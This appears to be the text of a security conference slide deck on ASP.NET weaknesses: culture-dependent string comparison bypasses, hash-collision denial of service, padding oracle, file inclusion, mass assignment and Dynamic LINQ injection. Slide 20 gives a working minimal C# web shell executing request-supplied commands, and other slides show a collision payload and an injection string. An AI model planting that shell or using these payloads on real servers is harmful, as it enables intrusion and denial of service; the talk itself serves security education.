  • 9. Turkish I And Other Peculiarities If two strings are compared with no regard to the current regional settings, the result might be quite unexpected: The English language: I&i The Turkish language: I&ı+Ä°&i <%@ Page Language="C#" Culture="Auto" %> <%@ Import Namespace="System.Globalization" %> <! DOCTYPE html> 
 <script runat="server"> 
 if (Session["mode"].ToLower() != "admin") 
 if (String.Compare(Request["path"]), 0, "FILE:", 0, 5, true) 

  • 10. Collision of Object Hashes System.Object.GetHashCode() returns a 32 bit hash code of an object (takes on values within the range from -2147483648 to 2147483647). (http://blogs.msdn.com/b/ericlippert/archive/2010/03/22/socks-birthdays-and-hash-collisions.aspx)
  • 11. Collision in ASP .NET (MS11-100) Standard situation: Unusual situation: 3QBZJK5ZX=&NEUQ7BWAV6=&6902D0YP6J=&9PZGHCDJYD=&NU73S3KNV=&IF686YJQJ8K=&9XUUCJEENJ=&F X4A75F91FM=&IGJKQVBZAVK=&LJVJV6J3UZ=&X7GJ5MWXY=&6AVIZWTVK=&WQNIQ7OZMS=&IM1VKMZHK6F=& DO9WX2R9H=&RYLZSIQT8V=&KR9BBFUH2E=&UI8N4SWVWW=&TL5F6URVPP=&B1P81FWDSVV=&CM6Y80XSAO=& LE72GBPWB=&EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138LL=&XXST36DRX=&JR YRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=& MOCGW14ZU7=&I0JKKKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D3ACY8973E= =&VGJPMCQHP=&AV6THWSCA7=&MH5SM8NPWB1=&P57KEP668X=&81C4LQ4DFY=&MPJBASYMRM=&25EWGNN5NE 
 over 4Mb form data 
 (https://github.com/HybrisDisaster/aspHashDoS)
  • 12. A Tricky Plan (Post-Mortem MS11-100) 1. Create 1000 collision strings for each combination ‘.NET version’/’hardware platform’ 2. Send each combination as POST request parameters 3. Measure the response time for each request 4. ??? 5. ;)
  • 15. ASP.NET Peculiarities Special catalogs and files: - App_Browser –browsers definition (*.browsers) - App_Code – a source code of helper classes and logics - App_Data – data stores - App_GlobalResources, App_LocalResources – application resources (*.resx, *.resources) - App_Themes – topics (*.skin, *.css, images, etc); - App_WebReferences – links to web services (*.wsdl, *.xsd, *.disco, *.discomap) - Bin – compiled builds used by the application - web.config, web.*.config – configuration files that determine settings of the web server and application
  • 16. ASP .NET Peculiarities Standard HTTP handlers: - WebResource.axd – access to the static resources embedded in the application assemblies. - ScriptResource.axd – access to JavaScripts embedded in the assemblies or stored on the disk. Usage: http://hostname/*Resource.axd?d=<resourceId>&t=<timestamp> Example: http://hostname/ScriptResource.axd?d=JuN78WBP_dBUR_BT9LH1wlP 8mXnNcENfktCX8YwH3sHG7wWwvn73TZaaChQhQtyzip3- kumGx1U67ntTt0sXKCn22VGvaQ3V4mXtCFgW9M1 where ‘d’ is an encrypted parameters: Q|~/Scripts/Script1.js,~/Scripts/Script2.js,~/Scripts/Script3.js|#|21c3 8a3a9b
  • 17. Padding Oracle (MS10-070) Consequences: – getting encryption/decryption keys:  authentication cookies  ViewState and Event Validation  Arguments for WebRecource.axd and ScriptResource.axd => Reading arbitrary files inside the application catalog Corrections:  Padding error returns a generic error message  A random number is used as IV  The format of encrypted strings is changed for their validation  ScriptResource.axd can handle only *.js files
  • 18. ASP .NET Features Standard HTTP handlers: - Trace.axd request tracing (available only in the debugging mode)
  • 19. Features of LFI exploitation Response.WriteFile(<vfilename>) - Allows including any file, except *.config, inside the application catalog - The file is included statically without code execution - Accepts virtual file name as an argument Server.Execute(<vfilename>) - Allows including any file, except for *.config, into the application catalog - Calls a handler for the sent file, includes the result into the response - Accepts virtual file name as an argument File.ReadAllText(<filename>) - Allows including any file if obtains enough privileges - The file is included statically without code execution - Accepts file name as an argument
  • 20. Minimum C# Shell <%@ Page Language="C#" %> <%@ Import Namespace="System.Diagnostics" %> <%= Process.Start( new ProcessStartInfo( "cmd","/c " + Request["c"] ) { UseShellExecute = false, RedirectStandardOutput = true } ).StandardOutput.ReadToEnd() %>
  • 21. ViewState Meant to transfer data on view element to the server. - Is transferred in the __VIEWSTATE parameter - Encryption and integrity are not ensured in many cases - Is used by developers for session data storage on the client, though is not meant for this - Violation of its integrity can trigger exploitation of various threats from XXS to violation of application’s functionality.
  • 22. Request and Event Validations Request Validation is an embedded simple WAF aimed at preventing XSS. Blocks all requests that contain: &# < followed by a letter, !, / and ? Besides, it skips extraneous parameters started with с __ Event Validation is an embedded mechanism of event data validation. It is a __EVENTVALIDATION parameter that stores hashes of acceptable elements of of forms, events, ViewState, etc. Contrary to the common belief, it is insufficient against CSRF attacks as a standard implementation instance.
  • 23. Mass Assignment Model: Controller: public class User public class UserController : Controller { { public int Id IUserRepository _userRepository; { get; set; } public UserController(IUserRepository userRepository) { public string UserName _userRepository = userRepository; { get; set; } } public string Password { get; set; } public ActionResult Edit(int id) { public bool IsAdmin var user = _userRepository.GetUserById(id); { get; set; } return View(user); } } [HttpPost] public ActionResult Edit(int id, FormCollection collection) { try { var user = _userRepository.GetUserById(id); UpdateModel(user); _userRepository.SaveUser(user); return RedirectToAction("Index"); } catch { return View(); } } }
  • 24. Mass Assignment (http://digitalbush.com/2012/03/05/mass-assignment-aspnet-mvc/)
  • 25. LINQ Injection LINQ is a query language embedded into the syntax of the .NET languages. var result = from item in itemsList where item.field1 % 2 == 0 orderby item.field2 descending select new { item.field2, item.field3 }; Expression.Lambda<Predicate<int>>( Expression.Equal( Expression.Modulo( parameterN, Expression.Constant(2) ), Expression.Constant(0) ), parameterN); var result = itemsList .Where(x => x.field1 % 2 == 0) .Select(x => new { x.field2, x.field3 }) .OrderByDescending(x => x.field2);
  • 26. LINQ Injection Dynamic LINQ is one of a few libraries used to create dynamic run- time LINQ requests. Features: - Definition of expressions by strings; var modifier = "0"; - Basic simple operations var result = itemsList - Access to members of static and .Where("field1 % 2 == " + modifier) .Select(x => new { x.field2, x.field3 }) instant data types .OrderByDescending(x => x.field2); - Type instantiation and anonymous types construction What if "modifier" is formed out of input data and contains 0 OR 1 == 1 ?
  • 27. LINQ Injection Injection’s limitations in Dynamic LINQ: - Access to fields, properties and methods is available only for a collection type or for accessible types specified in the ‘white list’ - All expression parts must be executed without errors; error messages do not contain useful output - Injection is performable only for isolated parts of requests Injection’s possibilities in Dynamic LINQ: - Authentication / authorization bypass - Unauthorized access to the collection data - Abuse of functionality (provided that the collection objects have the statefull fields) - Conduction of DoS attacks (DoS). Remote Code Execution is actual in other solutions
  • 28. NorthWind DEMO public AjaxStoreResult GetCustomers(int limit, int start, string dir, string sort) { var query = (from c in this.DBContext.Customers select new { c.CustomerID, c.CompanyName, c.ContactName, c.Phone, c.Fax, c.Region }).OrderBy(string.Concat(sort, " ", dir)); int total = query.ToList().Count; query = query.Skip(start).Take(limit); return new AjaxStoreResult(query, total); }
  • 30. Thank You for Your Attention! Questions? vkohetkov@ptsecurity.ru twitter: @kochetkov_v